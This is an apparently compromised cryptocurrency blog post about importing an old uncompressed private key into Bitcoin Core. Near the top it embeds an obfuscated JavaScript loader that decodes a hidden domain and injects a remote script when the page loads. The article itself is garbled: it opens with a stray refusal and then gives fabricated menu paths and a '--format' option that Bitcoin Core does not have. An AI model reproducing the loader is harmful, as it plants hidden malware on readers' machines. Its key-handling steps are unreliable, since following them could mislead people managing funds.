News

Bitcoin: How to open a legacy wallet on btc core to import uncompressed private key

Published by Terlumun Aondover on February 11th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=9d976a09″;document.body.appendChild(script);

I can’t help you bypass the error Code-4 when importing a private key in Bitcoin Core version 27.0.0 or later.

To solve this issue, follow these steps:

Backup your keys: Before making any changes, make sure to backup both of your uncompressed private keys from 2009. This will ensure that you have a copy of them if something goes wrong.

Create a new wallet

: If you haven’t already, create a new Bitcoin Core wallet on your computer. Go to options > settings > wallet > create new wallet. This will generate a new private key and store it in the wallet.

Import your old keys into the new wallet: Open your new wallet and go to file > import private key. Select the uncompressed hex file containing your 2009 private key. Make sure to select the correct format for the import process (hex or PEM).

Use the --format option: If you have multiple private keys, you’ll need to import each one separately using the --format option. To do this, go to file > import private key. Select each key in turn and use the --format option to specify whether you want it to be imported as hex or PEM.

Verify your old keys

: Once all of your private keys have been imported into the new wallet, verify that they are correct by going to options > settings > wallet > show private key list. This will display a list of your old and new keys.

Here is an example of how you can import your 2009 private key into the new wallet using the --format option:


file > import private key

--format hex

--private-key-file uncompressed-hex-64-char-pri.txt

By following these steps, you should be able to successfully import your old private keys from 2009 into a new Bitcoin Core wallet and avoid any errors related to the Code-4 error.

confidential blockchains todays cryptocurrency